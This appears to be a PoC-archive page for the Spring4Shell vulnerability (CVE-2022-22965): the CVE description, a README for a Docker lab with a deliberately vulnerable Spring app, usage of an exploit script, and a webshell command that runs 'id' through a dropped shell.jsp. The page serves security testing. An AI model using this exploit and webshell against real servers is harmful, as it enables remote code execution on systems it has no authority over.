Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Description
PoC and exploit for CVE-2022-22965 Spring4Shell
Readme
# Spring4Shell
Spring4Shell (CVE-2022-22965) Proof Of Concept with a vulnerable Tomcat server with a vulnerable spring4shell application.


## Details about this vulnerability
- [https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc](https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc)
- [https://www.springcloud.io/post/2022-03/spring-0day-vulnerability](https://www.springcloud.io/post/2022-03/spring-0day-vulnerability)
- [https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)

# How to use
## Build the image
```bash
docker build . -t spring4shell
```

## Run the container
```bash
docker run -p 80:8080 spring4shell
```
You can also run it with the debugger port exposed if needed:
```bash
docker run -p 80:8080 –p 5005:5005 spring4shell
```
See the original blog post for the details of setting up a remote debugger in IntelliJ Idea!

## Run the exploit
```bash
./exploit.sh --url http://localhost/spring4shell/hello --dir spring4shell
```

Then, you can run any command remotely like this:
```bash
curl http://localhost/spring4shell/shell.jsp?cmd=id --output -
```
...or by visiting the URL above.

File Snapshot

[4.0K] /data/pocs/3cf061dc47f77db1a53712e2cd325a44d4ef6eb8 ├── [ 497] Dockerfile ├── [3.6K] exploit.sh ├── [1.2K] README.md └── [4.0K] vulnerable-app ├── [1.7K] pom.xml └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] com │   └── [4.0K] spring4shell │   ├── [ 206] DemoObject.java │   ├── [ 559] HelloController.java │   └── [ 415] HelloworldApplication.java └── [4.0K] resources ├── [ 19] application.properties ├── [4.0K] static │   ├── [4.0K] css │   │   ├── [120K] bootstrap.min.css │   │   └── [ 554] styles.css │   └── [4.0K] imgs │   └── [5.4K] logo.png └── [4.0K] templates └── [ 645] index.html 11 directories, 12 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →